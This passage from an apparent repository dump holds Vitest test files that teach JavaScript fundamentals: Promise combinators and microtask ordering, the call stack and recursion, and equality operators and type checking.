])\n      \n      const elapsed = Date.now() - start\n      expect(elapsed).toBeGreaterThanOrEqual(45)  // Waited for slowest\n    })\n  })\n  \n  describe('Promise.race()', () => {\n    it('should resolve with first settled value', async () => {\n      const result = await Promise.race([\n        new Promise(resolve => setTimeout(() => resolve('slow'), 50)),\n        new Promise(resolve => setTimeout(() => resolve('fast'), 10))\n      ])\n      \n      expect(result).toBe('fast')\n    })\n    \n    it('should reject if first settled is rejection', async () => {\n      await expect(\n        Promise.race([\n          new Promise((_, reject) => setTimeout(() => reject(new Error('fast error')), 10)),\n          new Promise(resolve => setTimeout(() => resolve('slow success'), 50))\n        ])\n      ).rejects.toThrow('fast error')\n    })\n    \n    it('should never settle with empty array', () => {\n      // Promise.race([]) returns a forever-pending Promise\n      const promise = Promise.race([])\n      \n      // We can't really test this without timing out, \n      // but we can verify it returns a Promise\n      expect(promise).toBeInstanceOf(Promise)\n    })\n  })\n  \n  describe('Promise.any()', () => {\n    it('should resolve with first fulfilled value', async () => {\n      const result = await Promise.any([\n        Promise.reject(new Error('error 1')),\n        Promise.resolve('success'),\n        Promise.reject(new Error('error 2'))\n      ])\n      \n      expect(result).toBe('success')\n    })\n    \n    it('should wait for first fulfillment, ignoring rejections', async () => {\n      const result = await Promise.any([\n        new Promise((_, reject) => setTimeout(() => reject(new Error()), 10)),\n        new Promise(resolve => setTimeout(() => resolve('winner'), 30)),\n        new Promise((_, reject) => setTimeout(() => reject(new Error()), 20))\n      ])\n      \n      expect(result).toBe('winner')\n    })\n    \n    it('should reject with AggregateError if all reject', async () => {\n      try {\n        await Promise.any([\n          Promise.reject(new Error('error 1')),\n          Promise.reject(new Error('error 2')),\n          Promise.reject(new Error('error 3'))\n        ])\n        expect.fail('Should have rejected')\n      } catch (error) {\n        expect(error.name).toBe('AggregateError')\n        expect(error.errors).toHaveLength(3)\n      }\n    })\n  })\n  \n  describe('Microtask Queue Timing', () => {\n    it('should run .then() callbacks asynchronously', () => {\n      const order = []\n      \n      order.push('1')\n      \n      Promise.resolve().then(() => {\n        order.push('3')\n      })\n      \n      order.push('2')\n      \n      // Synchronously, only 1 and 2 are in the array\n      expect(order).toEqual(['1', '2'])\n    })\n    \n    it('should demonstrate microtask priority over macrotasks', async () => {\n      const order = []\n      \n      // Macrotask (setTimeout)\n      setTimeout(() => order.push('timeout'), 0)\n      \n      // Microtask (Promise)\n      Promise.resolve().then(() => order.push('promise'))\n      \n      // Wait for both to complete\n      await new Promise(resolve => setTimeout(resolve, 10))\n      \n      // Promise (microtask) runs before setTimeout (macrotask)\n      expect(order).toEqual(['promise', 'timeout'])\n    })\n    \n    it('should process nested microtasks before macrotasks', async () => {\n      const order = []\n      \n      setTimeout(() => order.push('timeout'), 0)\n      \n      Promise.resolve().then(() => {\n        order.push('promise 1')\n        Promise.resolve().then(() => {\n          order.push('promise 2')\n        })\n      })\n      \n      await new Promise(resolve => setTimeout(resolve, 10))\n      \n      expect(order).toEqual(['promise 1', 'promise 2', 'timeout'])\n    })\n  })\n  \n  describe('Common Patterns', () => {\n    it('should wrap setTimeout in a Promise (delay pattern)', async () => {\n      const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms))\n      \n      const start = Date.now()\n      await delay(50)\n      const elapsed = Date.now() - start\n      \n      expect(elapsed).toBeGreaterThanOrEqual(45)\n    })\n    \n    it('should handle sequential execution', async () => {\n      const results = []\n      const items = [1, 2, 3]\n      \n      for (const item of items) {\n        const result = await Promise.resolve(item * 2)\n        results.push(result)\n      }\n      \n      expect(results).toEqual([2, 4, 6])\n    })\n    \n    it('should handle parallel execution', async () => {\n      const items = [1, 2, 3]\n      const results = await Promise.all(\n        items.map(item => Promise.resolve(item * 2))\n      )\n      \n      expect(results).toEqual([2, 4, 6])\n    })\n  })\n  \n  describe('Common Mistakes', () => {\n    it('should demonstrate forgotten return issue', async () => {\n      // This is what happens when you forget to return\n      const result = await Promise.resolve('start')\n        .then(value => {\n          Promise.resolve(value + ' middle')  // Forgot return!\n        })\n        .then(value => value)\n      \n      expect(result).toBeUndefined()  // Lost the value!\n    })\n    \n    it('should demonstrate correct return', async () => {\n      const result = await Promise.resolve('start')\n        .then(value => {\n          return Promise.resolve(value + ' middle')  // Correct!\n        })\n        .then(value => value)\n      \n      expect(result).toBe('start middle')\n    })\n    \n    it('should demonstrate Promise constructor anti-pattern', async () => {\n      // Anti-pattern: unnecessary wrapper\n      const antiPattern = () => {\n        return new Promise((resolve, reject) => {\n          Promise.resolve('data')\n            .then(data => resolve(data))\n            .catch(error => reject(error))\n        })\n      }\n      \n      // Correct: just return the Promise\n      const correct = () => {\n        return Promise.resolve('data')\n      }\n      \n      // Both work, but correct is cleaner\n      expect(await antiPattern()).toBe('data')\n      expect(await correct()).toBe('data')\n    })\n  })\n  \n  describe('Error Handling Patterns', () => {\n    it('should catch errors anywhere in the chain', async () => {\n      const error = await Promise.resolve('start')\n        .then(() => {\n          throw new Error('middle error')\n        })\n        .then(() => 'never reached')\n        .catch(e => e.message)\n      \n      expect(error).toBe('middle error')\n    })\n    \n    it('should allow recovery from errors', async () => {\n      const result = await Promise.reject(new Error('initial error'))\n        .catch(() => 'recovered value')\n        .then(value => value.toUpperCase())\n      \n      expect(result).toBe('RECOVERED VALUE')\n    })\n    \n    it('should allow re-throwing errors', async () => {\n      await expect(\n        Promise.reject(new Error('original'))\n          .catch(error => {\n            // Log it, then re-throw\n            throw error\n          })\n      ).rejects.toThrow('original')\n    })\n  })\n})\n"
  },
  {
    "path": "tests/fundamentals/call-stack/call-stack.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Call Stack', () => {\n  describe('Basic Function Calls', () => {\n    it('should execute nested function calls and return correct greeting', () => {\n      function createGreeting(name) {\n        return \"Hello, \" + name + \"!\"\n      }\n\n      function greet(name) {\n        const greeting = createGreeting(name)\n        return greeting\n      }\n\n      expect(greet(\"Alice\")).toBe(\"Hello, Alice!\")\n    })\n\n    it('should demonstrate function arguments in execution context', () => {\n      function greet(name, age) {\n        return { name, age }\n      }\n\n      const result = greet(\"Alice\", 25)\n      expect(result).toEqual({ name: \"Alice\", age: 25 })\n    })\n\n    it('should demonstrate local variables in execution context', () => {\n      function calculate() {\n        const x = 10\n        let y = 20\n        var z = 30\n        return x + y + z\n      }\n\n      expect(calculate()).toBe(60)\n    })\n  })\n\n  describe('Nested Function Calls', () => {\n    it('should execute multiply, square, and printSquare correctly', () => {\n      function multiply(x, y) {\n        return x * y\n      }\n\n      function square(n) {\n        return multiply(n, n)\n      }\n\n      function printSquare(n) {\n        const result = square(n)\n        return result\n      }\n\n      expect(printSquare(4)).toBe(16)\n    })\n\n    it('should handle deep nesting of function calls', () => {\n      function a() { return b() }\n      function b() { return c() }\n      function c() { return d() }\n      function d() { return 'done' }\n\n      expect(a()).toBe('done')\n    })\n\n    it('should calculate maximum stack depth correctly for nested calls', () => {\n      // This test verifies the example where max depth is 4\n      let maxDepth = 0\n      let currentDepth = 0\n\n      function a() { \n        currentDepth++\n        maxDepth = Math.max(maxDepth, currentDepth)\n        const result = b()\n        currentDepth--\n        return result\n      }\n      function b() { \n        currentDepth++\n        maxDepth = Math.max(maxDepth, currentDepth)\n        const result = c()\n        currentDepth--\n        return result\n      }\n      function c() { \n        currentDepth++\n        maxDepth = Math.max(maxDepth, currentDepth)\n        const result = d()\n        currentDepth--\n        return result\n      }\n      function d() { \n        currentDepth++\n        maxDepth = Math.max(maxDepth, currentDepth)\n        currentDepth--\n        return 'done'\n      }\n\n      a()\n      expect(maxDepth).toBe(4)\n    })\n  })\n\n  describe('Scope Chain in Execution Context', () => {\n    it('should access outer scope variables from inner function', () => {\n      function outer() {\n        const message = \"Hello\"\n        \n        function inner() {\n          return message\n        }\n        \n        return inner()\n      }\n\n      expect(outer()).toBe(\"Hello\")\n    })\n\n    it('should demonstrate this keyword context in objects', () => {\n      const person = {\n        name: \"Alice\",\n        greet() {\n          return this.name\n        }\n      }\n\n      expect(person.greet()).toBe(\"Alice\")\n    })\n  })\n\n  describe('Stack Overflow', () => {\n    it('should throw RangeError for infinite recursion without base case', () => {\n      function countdown(n) {\n        countdown(n - 1) // No base case - infinite recursion\n      }\n\n      expect(() => countdown(5)).toThrow(RangeError)\n    })\n\n    it('should work correctly with proper base case', () => {\n      const results = []\n      \n      function countdown(n) {\n        if (n <= 0) {\n          results.push(\"Done!\")\n          return\n        }\n        results.push(n)\n        countdown(n - 1)\n      }\n\n      countdown(5)\n      expect(results).toEqual([5, 4, 3, 2, 1, \"Done!\"])\n    })\n\n    it('should throw for infinite loop function', () => {\n      function loop() {\n        loop()\n      }\n\n      expect(() => loop()).toThrow(RangeError)\n    })\n\n    it('should throw for base case that is never reached', () => {\n      function countUp(n, limit = 100) {\n        // Modified to have a safety limit for testing\n        if (n >= 1000000000000 || limit <= 0) return n\n        return countUp(n + 1, limit - 1)\n      }\n\n      // This will return before hitting the impossible base case\n      expect(countUp(0)).toBe(100)\n    })\n\n    it('should throw for circular function calls', () => {\n      function a() { return b() }\n      function b() { return a() }\n\n      expect(() => a()).toThrow(RangeError)\n    })\n\n    it('should throw for accidental recursion in setters', () => {\n      class Person {\n        set name(value) {\n          this.name = value // Calls the setter again - infinite loop!\n        }\n      }\n\n      const p = new Person()\n      expect(() => { p.name = \"Alice\" }).toThrow(RangeError)\n    })\n\n    it('should work correctly with proper setter implementation using different property', () => {\n      class PersonFixed {\n        set name(value) {\n          this._name = value // Use _name instead to avoid recursion\n        }\n        get name() {\n          return this._name\n        }\n      }\n\n      const p = new PersonFixed()\n      p.name = \"Alice\"\n      expect(p.name).toBe(\"Alice\")\n    })\n  })\n\n  describe('Recursion with Base Case', () => {\n    it('should calculate factorial correctly', () => {\n      function factorial(n) {\n        if (n <= 1) return 1\n        return n * factorial(n - 1)\n      }\n\n      expect(factorial(5)).toBe(120)\n      expect(factorial(1)).toBe(1)\n      expect(factorial(0)).toBe(1)\n    })\n\n    it('should demonstrate proper countdown with base case', () => {\n      function countdown(n) {\n        if (n <= 0) {\n          return \"Done!\"\n        }\n        return countdown(n - 1)\n      }\n\n      expect(countdown(5)).toBe(\"Done!\")\n    })\n  })\n\n  describe('Error Stack Traces', () => {\n    it('should create error with proper stack trace', () => {\n      function a() { return b() }\n      function b() { return c() }\n      function c() { \n        throw new Error('Something went wrong!')\n      }\n\n      expect(() => a()).toThrow('Something went wrong!')\n    })\n\n    it('should preserve call stack in error', () => {\n      function a() { return b() }\n      function b() { return c() }\n      function c() { \n        throw new Error('Test error')\n      }\n\n      try {\n        a()\n      } catch (error) {\n        expect(error.stack).toContain('c')\n        expect(error.stack).toContain('b')\n        expect(error.stack).toContain('a')\n      }\n    })\n  })\n\n  describe('Asynchronous Code Preview', () => {\n    it('should demonstrate setTimeout behavior with call stack', async () => {\n      const results = []\n\n      results.push('First')\n\n      await new Promise(resolve => {\n        setTimeout(() => {\n          results.push('Second')\n          resolve()\n        }, 0)\n        \n        results.push('Third')\n      })\n\n      // Even with 0ms delay, 'Third' runs before 'Second'\n      expect(results).toEqual(['First', 'Third', 'Second'])\n    })\n  })\n})\n"
  },
  {
    "path": "tests/fundamentals/equality-operators/equality-operators.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Equality and Type Checking', () => {\n  describe('Three Equality Operators Overview', () => {\n    it('should demonstrate different results for same comparison', () => {\n      const num = 1\n      const str = \"1\"\n\n      expect(num == str).toBe(true) // coerces string to number\n      expect(num === str).toBe(false) // different types\n      expect(Object.is(num, str)).toBe(false) // different types\n    })\n  })\n\n  describe('Loose Equality (==)', () => {\n    describe('Same Type Comparison', () => {\n      it('should compare directly when same type', () => {\n        expect(5 == 5).toBe(true)\n        expect(\"hello\" == \"hello\").toBe(true)\n      })\n    })\n\n    describe('null and undefined', () => {\n      it('should return true for null == undefined', () => {\n        expect(null == undefined).toBe(true)\n        expect(undefined == null).toBe(true)\n      })\n    })\n\n    describe('Number and String', () => {\n      it('should convert string to number', () => {\n        expect(5 == \"5\").toBe(true)\n        expect(0 == \"\").toBe(true)\n        expect(100 == \"1e2\").toBe(true)\n      })\n\n      it('should return false for different string comparison', () => {\n        expect(\"\" == \"0\").toBe(false) // Both strings, different values\n      })\n\n      it('should handle NaN conversions', () => {\n        expect(NaN == \"NaN\").toBe(false) // NaN ≠ anything\n        expect(0 == \"hello\").toBe(false) // \"hello\" → NaN\n      })\n    })\n\n    describe('BigInt and String', () => {\n      it('should convert string to BigInt', () => {\n        expect(10n == \"10\").toBe(true)\n      })\n    })\n\n    describe('Boolean Coercion', () => {\n      it('should convert boolean to number first', () => {\n        expect(true == 1).toBe(true)\n        expect(false == 0).toBe(true)\n        expect(true == \"1\").toBe(true)\n        expect(false == \"\").toBe(true)\n      })\n\n      it('should demonstrate confusing boolean comparisons', () => {\n        expect(true == \"true\").toBe(false) // true → 1, \"true\" → NaN\n        expect(false == \"false\").toBe(false) // false → 0, \"false\" → NaN\n        expect(true == 2).toBe(false) // true → 1, 1 ≠ 2\n        expect(true == \"2\").toBe(false) // true → 1, \"2\" → 2\n      })\n    })\n\n    describe('Object to Primitive', () => {\n      it('should convert object via ToPrimitive', () => {\n        expect([1] == 1).toBe(true) // [1] → \"1\" → 1\n        expect([\"\"] == 0).toBe(true) // [\"\"] → \"\" → 0\n      })\n    })\n\n    describe('BigInt and Number', () => {\n      it('should compare mathematical values', () => {\n        expect(10n == 10).toBe(true)\n        expect(10n == 10.5).toBe(false)\n      })\n    })\n\n    describe('Special Cases', () => {\n      it('should return false for null/undefined vs other values', () => {\n        expect(null == 0).toBe(false)\n        expect(undefined == 0).toBe(false)\n        expect(Symbol() == Symbol()).toBe(false)\n      })\n    })\n\n    describe('Surprising Results', () => {\n      describe('String and Number', () => {\n        it('should demonstrate string to number conversions', () => {\n          expect(1 == \"1\").toBe(true)\n          expect(0 == \"\").toBe(true)\n          expect(0 == \"0\").toBe(true)\n          expect(100 == \"1e2\").toBe(true)\n        })\n      })\n\n      describe('null and undefined', () => {\n        it('should demonstrate special null/undefined behavior', () => {\n          expect(null == undefined).toBe(true)\n          expect(null == 0).toBe(false)\n          expect(null == false).toBe(false)\n          expect(null == \"\").toBe(false)\n          expect(undefined == 0).toBe(false)\n          expect(undefined == false).toBe(false)\n        })\n\n        it('should catch both null and undefined with == null', () => {\n          function greet(name) {\n            if (name == null) {\n              return \"Hello, stranger!\"\n            }\n            return `Hello, ${name}!`\n          }\n\n          expect(greet(null)).toBe(\"Hello, stranger!\")\n          expect(greet(undefined)).toBe(\"Hello, stranger!\")\n          expect(greet(\"Alice\")).toBe(\"Hello, Alice!\")\n          expect(greet(\"\")).toBe(\"Hello, !\")\n          expect(greet(0)).toBe(\"Hello, 0!\")\n        })\n      })\n\n      describe('Arrays and Objects', () => {\n        it('should convert arrays via ToPrimitive', () => {\n          expect([] == false).toBe(true)\n          expect([] == 0).toBe(true)\n          expect([] == \"\").toBe(true)\n          expect([1] == 1).toBe(true)\n          expect([1] == \"1\").toBe(true)\n          expect([1, 2] == \"1,2\").toBe(true)\n        })\n\n        it('should use valueOf on objects with custom valueOf', () => {\n          let obj = { valueOf: () => 42 }\n          expect(obj == 42).toBe(true)\n        })\n      })\n    })\n\n    describe('Step-by-Step Trace: [] == ![]', () => {\n      it('should demonstrate [] == ![] is true', () => {\n        // Step 1: Evaluate ![]\n        // [] is truthy, so ![] = false\n        const step1 = ![]\n        expect(step1).toBe(false)\n\n        // Step 2: Now we have [] == false\n        // Boolean → Number: false → 0\n        // [] == 0\n\n        // Step 3: Object → Primitive\n        // [].toString() → \"\"\n        // \"\" == 0\n\n        // Step 4: String → Number\n        // \"\" → 0\n        // 0 == 0 → true\n\n        const emptyArray = []\n        expect(emptyArray == step1).toBe(true)\n      })\n    })\n  })\n\n  describe('Strict Equality (===)', () => {\n    describe('Type Check', () => {\n      it('should return false for different types immediately', () => {\n        expect(1 === \"1\").toBe(false)\n        expect(true === 1).toBe(false)\n        expect(null === undefined).toBe(false)\n      })\n    })\n\n    describe('Number Comparison', () => {\n      it('should compare numeric values', () => {\n        expect(42 === 42).toBe(true)\n        expect(Infinity === Infinity).toBe(true)\n      })\n\n      it('should return false for NaN === NaN', () => {\n        expect(NaN === NaN).toBe(false)\n      })\n\n      it('should return true for +0 === -0', () => {\n        expect(+0 === -0).toBe(true)\n      })\n    })\n\n    describe('String Comparison', () => {\n      it('should compare string characters', () => {\n        expect(\"hello\" === \"hello\").toBe(true)\n        expect(\"hello\" === \"Hello\").toBe(false) // Case sensitive\n        expect(\"hello\" === \"hello \").toBe(false) // Different length\n      })\n    })\n\n    describe('Boolean Comparison', () => {\n      it('should compare boolean values', () => {\n        expect(true === true).toBe(true)\n        expect(false === false).toBe(true)\n        expect(true === false).toBe(false)\n      })\n    })\n\n    describe('BigInt Comparison', () => {\n      it('should compare BigInt values', () => {\n        expect(10n === 10n).toBe(true)\n        expect(10n === 20n).toBe(false)\n      })\n    })\n\n    describe('Symbol Comparison', () => {\n      it('should return false for different symbols', () => {\n        const sym = Symbol(\"id\")\n        expect(sym === sym).toBe(true)\n        expect(Symbol(\"id\") === Symbol(\"id\")).toBe(false)\n      })\n    })\n\n    describe('Object Comparison (Reference)', () => {\n      it('should compare by reference, not value', () => {\n        const obj = { a: 1 }\n        expect(obj === obj).toBe(true)\n        \n        const obj1 = { a: 1 }\n        const obj2 = { a: 1 }\n        expect(obj1 === obj2).toBe(false) // Different objects!\n      })\n\n      it('should return false for different arrays', () => {\n        const arr1 = [1, 2, 3]\n        const arr2 = [1, 2, 3]\n        const arr3 = arr1\n        \n        expect(arr1 === arr2).toBe(false)\n        expect(arr1 === arr3).toBe(true)\n      })\n\n      it('should return false for different functions', () => {\n        const fn1 = () => {}\n        const fn2 = () => {}\n        const fn3 = fn1\n\n        expect(fn1 === fn2).toBe(false)\n        expect(fn1 === fn3).toBe(true)\n      })\n    })\n\n    describe('null and undefined', () => {\n      it('should compare null and undefined correctly', () => {\n        expect(null === null).toBe(true)\n        expect(undefined === undefined).toBe(true)\n        expect(null === undefined).toBe(false)\n      })\n    })\n\n    describe('Predictable Results', () => {\n      it('should return false for different types', () => {\n        expect(1 === \"1\").toBe(false)\n        expect(0 === \"\").toBe(false)\n        expect(true === 1).toBe(false)\n        expect(false === 0).toBe(false)\n        expect(null === undefined).toBe(false)\n      })\n\n      it('should return true for same type and value', () => {\n        expect(1 === 1).toBe(true)\n        expect(\"hello\" === \"hello\").toBe(true)\n        expect(true === true).toBe(true)\n        expect(null === null).toBe(true)\n        expect(undefined === undefined).toBe(true)\n      })\n    })\n\n    describe('Special Cases: NaN and ±0', () => {\n      it('should demonstrate NaN !== NaN', () => {\n        expect(NaN === NaN).toBe(false)\n        expect(Number.isNaN(NaN)).toBe(true)\n        expect(isNaN(NaN)).toBe(true)\n        expect(isNaN(\"hello\")).toBe(true) // Converts to NaN first\n        expect(Number.isNaN(\"hello\")).toBe(false) // No conversion\n      })\n\n      it('should demonstrate +0 === -0', () => {\n        expect(+0 === -0).toBe(true)\n        expect(1 / +0).toBe(Infinity)\n        expect(1 / -0).toBe(-Infinity)\n        expect(Object.is(+0, -0)).toBe(false)\n      })\n\n      it('should detect -0', () => {\n        expect(0 * -1).toBe(-0)\n        expect(Object.is(0 * -1, -0)).toBe(true)\n      })\n    })\n  })\n\n  describe('Object.is()', () => {\n    describe('Comparison with ===', () => {\n      it('should behave like === for most cases', () => {\n        expect(Object.is(1, 1)).toBe(true)\n        expect(Object.is(\"a\", \"a\")).toBe(true)\n        expect(Object.is(null, null)).toBe(true)\n        \n        const obj1 = {}\n        const obj2 = {}\n        expect(Object.is(obj1, obj2)).toBe(false)\n      })\n    })\n\n    describe('NaN Equality', () => {\n      it('should return true for NaN === NaN', () => {\n        expect(Object.is(NaN, NaN)).toBe(true)\n      })\n    })\n\n    describe('±0 Distinction', () => {\n      it('should distinguish +0 from -0', () => {\n        expect(Object.is(+0, -0)).toBe(false)\n        expect(Object.is(-0, 0)).toBe(false)\n      })\n    })\n\n    describe('Practical Uses', () => {\n      it('should check for NaN', () => {\n        function isReallyNaN(value) {\n          return Object.is(value, NaN)\n        }\n        expect(isReallyNaN(NaN)).toBe(true)\n        expect(isReallyNaN(\"hello\")).toBe(false)\n      })\n\n      it('should check for negative zero', () => {\n        function isNegativeZero(value) {\n          return Object.is(value, -0)\n        }\n        expect(isNegativeZero(-0)).toBe(true)\n        expect(isNegativeZero(0)).toBe(false)\n      })\n    })\n\n    describe('Complete Comparison Table', () => {\n      it('should show differences between ==, ===, and Object.is()', () => {\n        // 1, \"1\"\n        expect(1 == \"1\").toBe(true)\n        expect(1 === \"1\").toBe(false)\n        expect(Object.is(1, \"1\")).toBe(false)\n\n        // 0, false\n        expect(0 == false).toBe(true)\n        expect(0 === false).toBe(false)\n        expect(Object.is(0, false)).toBe(false)\n\n        // null, undefined\n        expect(null == undefined).toBe(true)\n        expect(null === undefined).toBe(false)\n        expect(Object.is(null, undefined)).toBe(false)\n\n        // NaN, NaN\n        expect(NaN == NaN).toBe(false)\n        expect(NaN === NaN).toBe(false)\n        expect(Object.is(NaN, NaN)).toBe(true)\n\n        // +0, -0\n        expect(+0 == -0).toBe(true)\n        expect(+0 === -0).toBe(true)\n        expect(Object.is(+0, -0)).toBe(false)\n      })\n    })\n  })\n\n  describe('typeof Operator', () => {\n    describe('Correct Results', () => {\n      it('should return correct types for primitives', () => {\n        expect(typeof \"hello\").toBe(\"string\")\n        expect(typeof 42).toBe(\"number\")\n        expect(typeof 42n).toBe(\"bigint\")\n        expect(typeof true).toBe(\"boolean\")\n        expect(typeof undefined).toBe(\"undefined\")\n        expect(typeof Symbol()).toBe(\"symbol\")\n      })\n\n      it('should return \"object\" for objects and arrays', () => {\n        expect(typeof {}).toBe(\"object\")\n        expect(typeof []).toBe(\"object\")\n        expect(typeof new Date()).toBe(\"object\")\n        expect(typeof /regex/).toBe(\"object\")\n      })\n\n      it('should return \"function\" for functions', () => {\n        expect(typeof function(){}).toBe(\"function\")\n        expect(typeof (() => {})).toBe(\"function\")\n        expect(typeof class {}).toBe(\"function\")\n        expect(typeof Math.sin).toBe(\"function\")\n      })\n    })\n\n    describe('Famous Quirks', () => {\n      it('should return \"object\" for null (bug)', () => {\n        expect(typeof null).toBe(\"object\")\n      })\n\n      it('should return \"object\" for arrays', () => {\n        expect(typeof []).toBe(\"object\")\n        expect(typeof [1, 2, 3]).toBe(\"object\")\n        expect(typeof new Array()).toBe(\"object\")\n      })\n\n      it('should return \"number\" for NaN', () => {\n        expect(typeof NaN).toBe(\"number\")\n      })\n\n      it('should return \"undefined\" for undeclared variables', () => {\n        expect(typeof undeclaredVariable).toBe(\"undefined\")\n      })\n    })\n\n    describe('Workarounds', () => {\n      it('should check for null explicitly', () => {\n        function getType(value) {\n          if (value === null) return \"null\"\n          return typeof value\n        }\n\n        expect(getType(null)).toBe(\"null\")\n        expect(getType(undefined)).toBe(\"undefined\")\n        expect(getType(42)).toBe(\"number\")\n      })\n\n      it('should check for \"real\" objects', () => {\n        function isRealObject(value) {\n          return value !== null && typeof value === \"object\"\n        }\n\n        expect(isRealObject({})).toBe(true)\n        expect(isRealObject([])).toBe(true)\n        expect(isRealObject(null)).toBe(false)\n      })\n    })\n  })\n\n  describe('Better Type Checking Alternatives', () => {\n    describe('Type-Specific Checks', () => {\n      it('should use Array.isArray for arrays', () => {\n        expect(Array.isArray([])).toBe(true)\n        expect(Array.isArray([1, 2, 3])).toBe(true)\n        expect(Array.isArray({})).toBe(false)\n        expect(Array.isArray(\"hello\")).toBe(false)\n        expect(Array.isArray(null)).toBe(false)\n      })\n\n      it('should use Number.isNaN for NaN', () => {\n        expect(Number.isNaN(NaN)).toBe(true)\n        expect(Number.isNaN(\"hello\")).toBe(false)\n        expect(Number.isNaN(undefined)).toBe(false)\n      })\n\n      it('should use Number.isFinite for finite numbers', () => {\n        expect(Number.isFinite(42)).toBe(true)\n        expect(Number.isFinite(Infinity)).toBe(false)\n        expect(Number.isFinite(NaN)).toBe(false)\n      })\n\n      it('should use Number.isInteger for integers', () => {\n        expect(Number.isInteger(42)).toBe(true)\n        expect(Number.isInteger(42.5)).toBe(false)\n      })\n    })\n\n    describe('instanceof', () => {\n      it('should check instance of constructor', () => {\n        expect([] instanceof Array).toBe(true)\n        expect({} instanceof Object).toBe(true)\n        expect(new Date() instanceof Date).toBe(true)\n        expect(/regex/ instanceof RegExp).toBe(true)\n      })\n\n      it('should work with custom classes', () => {\n        class Person {}\n        const p = new Person()\n        expect(p instanceof Person).toBe(true)\n      })\n    })\n\n    describe('Object.prototype.toString', () => {\n      it('should return precise type information', () => {\n        const getType = (value) => \n          Object.prototype.toString.call(value).slice(8, -1)\n\n        expect(getType(null)).toBe(\"Null\")\n        expect(getType(undefined)).toBe(\"Undefined\")\n        expect(getType([])).toBe(\"Array\")\n        expect(getType({})).toBe(\"Object\")\n        expect(getType(new Date())).toBe(\"Date\")\n        expect(getType(/regex/)).toBe(\"RegExp\")\n        expect(getType(new Map())).toBe(\"Map\")\n        expect(getType(new Set())).toBe(\"Set\")\n        expect(getType(Promise.resolve())).toBe(\"Promise\")\n        expect(getType(function(){})).toBe(\"Function\")\n        expect(getType(42)).toBe(\"Number\")\n        expect(getType(\"hello\")).toBe(\"String\")\n        expect(getType(Symbol())).toBe(\"Symbol\")\n        expect(getType(42n)).toBe(\"BigInt\")\n      })\n    })\n\n    describe('Custom Type Checker', () => {\n      it('should create comprehensive type checker', () => {\n        function getType(value) {\n          if (value === null) return \"null\"\n          \n          const type = typeof value\n          if (type !== \"object\" && type !== \"function\") {\n            return type\n          }\n          \n          const tag = Object.prototype.toString.call(value)\n          return tag.slice(8, -1).toLowerCase()\n        }\n\n        expect(getType(null)).toBe(\"null\")\n        expect(getType([])).toBe(\"array\")\n        expect(getType({})).toBe(\"object\")\n        expect(getType(new Date())).toBe(\"date\")\n        expect(getType(/regex/)).toBe(\"regexp\")\n        expect(getType(new Map())).toBe(\"map\")\n        expect(getType(Promise.resolve())).toBe(\"promise\")\n      })\n    })\n  })\n\n  describe('Common Gotchas and Mistakes', () => {\n    describe('Comparing Objects by Value', () => {\n      it('should demonstrate object reference comparison', () => {\n        const user1 = { name: \"Alice\" }\n        const user2 = { name: \"Alice\" }\n\n        expect(user1 === user2).toBe(false) // Never runs as equal!\n\n        // Option 1: Compare specific properties\n        expect(user1.name === user2.name).toBe(true)\n\n        // Option 2: JSON.stringify\n        expect(JSON.stringify(user1) === JSON.stringify(user2)).toBe(true)\n      })\n    })\n\n    describe('NaN Comparisons', () => {\n      it('should never use === for NaN', () => {\n        const result = parseInt(\"hello\")\n        \n        expect(result === NaN).toBe(false) // Never works!\n        expect(Number.isNaN(result)).toBe(true) // Correct way\n        expect(Object.is(result, NaN)).toBe(true) // Also works\n      })\n    })\n\n    describe('typeof null Trap', () => {\n      it('should handle null separately from objects', () => {\n        function processObject(obj) {\n          if (obj !== null && typeof obj === \"object\") {\n            return \"real object\"\n          }\n          return \"not an object\"\n        }\n\n        expect(processObject({})).toBe(\"real object\")\n        expect(processObject(null)).toBe(\"not an object\")\n      })\n    })\n\n    describe('String Comparison Gotchas', () => {\n      it('should demonstrate string comparison issues', () => {\n        // Strings compare lexicographically\n        expect(\"10\" > \"9\").toBe(false) // \"1\" < \"9\"\n\n        // Convert to numbers for numeric comparison\n        expect(Number(\"10\") > Number(\"9\")).toBe(true)\n        expect(+\"10\" > +\"9\").toBe(true)\n      })\n    })\n\n    describe('Empty Array Comparisons', () => {\n      it('should demonstrate array truthiness vs equality', () => {\n        const arr = []\n\n        // These seem contradictory\n        expect(arr == false).toBe(true)\n        expect(arr ? true : false).toBe(true) // arr is truthy!\n\n        // Check array length instead\n        expect(arr.length === 0).toBe(true)\n        expect(!arr.length).toBe(true)\n      })\n    })\n  })\n\n  describe('Decision Guide', () => {\n    describe('Default to ===', () => {\n      it('should use === for predictable comparisons', () => {\n        expect(5 === 5).toBe(true)\n        expect(5 === \"5\").toBe(false) // No surprise\n      })\n    })\n\n    describe('Use == null for Nullish Checks', () => {\n      it('should check for null or undefined', () => {\n        function isNullish(value) {\n          return value == null\n        }\n\n        expect(isNullish(null)).toBe(true)\n        expect(isNullish(undefined)).toBe(true)\n        expect(isNullish(0)).toBe(false)\n        expect(isNullish(\"\")).toBe(false)\n        expect(isNullish(false)).toBe(false)\n      })\n    })\n\n    describe('Use Number.isNaN for NaN', () => {\n      it('should use Number.isNaN, not isNaN', () => {\n        expect(Number.isNaN(NaN)).toBe(true)\n        expect(Number.isNaN(\"hello\")).toBe(false) // Correct\n        expect(isNaN(\"hello\")).toBe(true) // Wrong!\n      })\n    })\n\n    describe('Use Array.isArray for Arrays', () => {\n      it('should use Array.isArray, not typeof', () => {\n        expect(Array.isArray([])).toBe(true)\n        expect(typeof []).toBe(\"object\") // Not helpful\n      })\n    })\n\n    describe('Use Object.is for Edge Cases', () => {\n      it('should use Object.is for NaN and ±0', () => {\n        expect(Object.is(NaN, NaN)).toBe(true)\n        expect(Object.is(+0, -0)).toBe(false)\n      })\n    })\n  })\n\n  describe('Additional Missing Examples', () => {\n    describe('More Loose Equality Examples', () => {\n      it('should coerce 42 == \"42\" to true', () => {\n        expect(42 == \"42\").toBe(true)\n      })\n\n      it('should return false for undefined == \"\"', () => {\n        expect(undefined == \"\").toBe(false)\n      })\n    })\n\n    describe('More Strict Equality Examples', () => {\n      it('should return false for array === string', () => {\n        const arr = []\n        const str = \"\"\n        expect(arr === str).toBe(false)\n      })\n\n      it('should demonstrate -0 === 0 is true', () => {\n        expect(-0 === 0).toBe(true)\n        expect(0 === -0).toBe(true)\n      })\n    })\n\n    describe('Negative Zero Edge Cases', () => {\n      it('should 